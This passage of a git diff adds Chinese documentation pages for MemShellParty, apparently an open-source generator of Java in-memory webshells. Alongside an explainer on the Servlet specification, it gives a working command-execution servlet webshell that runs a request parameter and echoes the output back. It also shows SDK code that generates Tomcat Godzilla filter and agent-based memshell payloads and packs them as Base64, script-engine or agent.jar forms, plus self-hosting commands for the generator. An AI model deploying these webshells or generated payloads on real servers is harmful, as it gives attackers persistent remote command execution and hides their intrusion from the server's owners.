request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return null; + } +} +``` diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json new file mode 100644 index 00000000..5699cc52 --- /dev/null +++ b/web/content/docs/memshell/meta.json @@ -0,0 +1,3 @@ +{ + "title": "常见 Java 内存马" +} \ No newline at end of file diff --git a/web/content/docs/memshell/servlet.mdx b/web/content/docs/memshell/servlet.mdx new file mode 100644 index 00000000..5f1df5f5 --- /dev/null +++ b/web/content/docs/memshell/servlet.mdx @@ -0,0 +1,100 @@ +--- +title: Servlet 内存马 +--- + +Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。 + +Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。 + +目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。 + +## ServletContext + +> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md) + +ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。 + +ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。 + +```java +addServlet(String servletName, String className); +addServlet(String servletName, Servlet servlet); +addServlet(String servletName, Class servletClass); +addFilter(String filterName, String className); +addFilter(String filterName, Filter filter); +addFilter(String filterName, Class filterClass); +void addListener(String className); +void addListener(T t); +void addListener(Class listenerClass); +``` + +这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。 + +## HttpServlet + +99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。 + +```java +protected void doGet(HttpServletRequest req, HttpServletResponse resp); +protected void doPost(HttpServletRequest req, HttpServletResponse resp); +protected void doPut(HttpServletRequest req, HttpServletResponse resp); +protected void doDelete(HttpServletRequest req, HttpServletResponse resp); +protected void doHead(HttpServletRequest req, HttpServletResponse resp); +protected void doOptions(HttpServletRequest req, HttpServletResponse resp); +protected void doTrace(HttpServletRequest req, HttpServletResponse resp); +``` + +Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。 + +针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。 + +```java +@WebServlet(”/foo”) +public class CalculatorServlet extends HttpServlet{ +//... +} +``` + +```xml + + foo + org.example.CalculatorServlet + + + foo + /foo + +``` + +## ServletShell + +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。 + +1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。 +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 + +```java +public class CommandServlet extends HttpServlet { + public static String paramName; + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + doPost(req, resp); + } + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } +} +``` diff --git a/web/content/docs/memshell/type.mdx b/web/content/docs/memshell/type.mdx deleted file mode 100644 index afa673cd..00000000 --- a/web/content/docs/memshell/type.mdx +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Hello World -description: | - Your first `document` - You'll love it! ---- - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | - -Hey there! Fumadocs is the docs framework that also works on React Router! - -## Heading - -Hello World - - - - - - -```ts -console.log('I love React!'); -``` - -### Heading - -#### Heading - -| Head | Description | -| ------------------------------- | ----------------------------------- | -| `hello` | Hello World | -| very **important** | Hey | -| _Surprisingly_ | Fumadocs | -| very long text that looks weird | hello world hello world hello world | diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json index 94d86ced..d0461c07 100644 --- a/web/content/docs/meta.json +++ b/web/content/docs/meta.json @@ -1,19 +1,15 @@ { "pages": [ "index", + "server-intro", "self-host", "self-build", "sdk", - "fqa", "changelog", "---Java 内存马---", "what-is-memshell", "memshell", - "---Java 回显马---", - "what-is-probeshell", - "probeshell", - "---打包方式---", - "packer", + "custom-memshell", "---其他---", "recommend-tools" ] diff --git a/web/content/docs/sdk.mdx b/web/content/docs/sdk.mdx index 9ab687f5..5751acff 100644 --- a/web/content/docs/sdk.mdx +++ b/web/content/docs/sdk.mdx @@ -1,6 +1,103 @@ --- title: SDK 集成 icon: BrainCircuit +description: 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持 --- -hello \ No newline at end of file +import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; + +> 具体代码可参考 [examples](https://github.com/ReaJason/MemShellParty/tree/master/examples) + +### 添加依赖 + + + +```xml + + io.github.reajason + generator + 2.2.0 + +``` + + +```groovy +implementation 'io.github.reajason:generator:2.2.0' +``` + + + + +### 生成 Tomcat Godzilla Filter 内存马示例 + +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.FILTER) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:"+result.getInjectorClassName()); +System.out.println("内存马类名:"+result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result)); +System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result)); +``` + +### 生成 Tomcat Godzilla AgentFilterChain 示例 + +```java +ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:" + result.getInjectorClassName()); +System.out.println("内存马类名:" + result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); +Files.write(Paths.get("agent.jar"), agentJarBytes); +``` + +**封装统一生成接口可参考 [MemShellGeneratorController.java](https://github.com/ReaJason/MemShellParty/blob/master/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java)** diff --git a/web/content/docs/self-host.mdx b/web/content/docs/self-host.mdx index 2da8471d..412e8dd9 100644 --- a/web/content/docs/self-host.mdx +++ b/web/content/docs/self-host.mdx @@ -4,6 +4,60 @@ description: 部署你专有的 MemShellParty icon: Rocket --- -Hey there! Fumadocs is the docs framework that also works on React Router! +import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -## Heading \ No newline at end of file +## Docker 部署 + +> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷 + +使用 docker 部署之后,使用浏览器访问:http://127.0.0.1:8080 + + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest +``` + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest +``` + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest +``` + + + +镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了 + +```bash +# 移除之前部署的 +docker rm -f memshell-party + +# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署) +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest +``` + +## Jar 包部署 + +下载最新 [release](https://github.com/ReaJason/MemShellParty/releases) 的 boot-x.x.x.jar 包 + +使用 JDK17 启动 jar 包,并使用浏览器访问:http://127.0.0.1:8080 + +```bash +java -jar --add-opens=java.base/java.util=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ + boot-x.x.x.jar +``` + +如果存在端口冲突,需要自定义服务端口,使用如下命令: `--server.port=自定义端口` + +```bash +java -jar --add-opens=java.base/java.util=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ + boot-x.x.x.jar --server.port=999 +``` \ No newline at end of file diff --git a/docs/ServerIntro.md b/web/content/docs/server-intro.mdx similarity index 99% rename from docs/ServerIntro.md rename to web/content/docs/server-intro.mdx index 4251befa..3b383932 100644 --- a/docs/ServerIntro.md +++ b/web/content/docs/server-intro.mdx @@ -1,4 +1,7 @@ -# Java 服务简介 +--- +title: 目标服务 +icon: Server +--- 以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty 中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~ diff --git a/web/content/docs/what-is-memshell.mdx b/web/content/docs/what-is-memshell.mdx index fb72faa8..2b044b12 100644 --- a/web/content/docs/what-is-memshell.mdx +++ b/web/content/docs/what-is-memshell.mdx @@ -1,5 +1,5 @@ --- -title: Java 内存马介绍 +title: 介绍 --- Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。 diff --git a/web/vite.config.ts b/web/vite.config.ts index 2e5a1878..a54e5992 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -8,7 +8,7 @@ import tsconfigPaths from "vite-tsconfig-paths"; import * as MdxConfig from "./source.config"; export default defineConfig({ - base: `${env.VITE_APP_API_URL}/`, + base: env.NODE_ENV === "development" ? '' : `${env.VITE_APP_API_URL}/`, plugins: [ mdx(MdxConfig), tailwindcss(),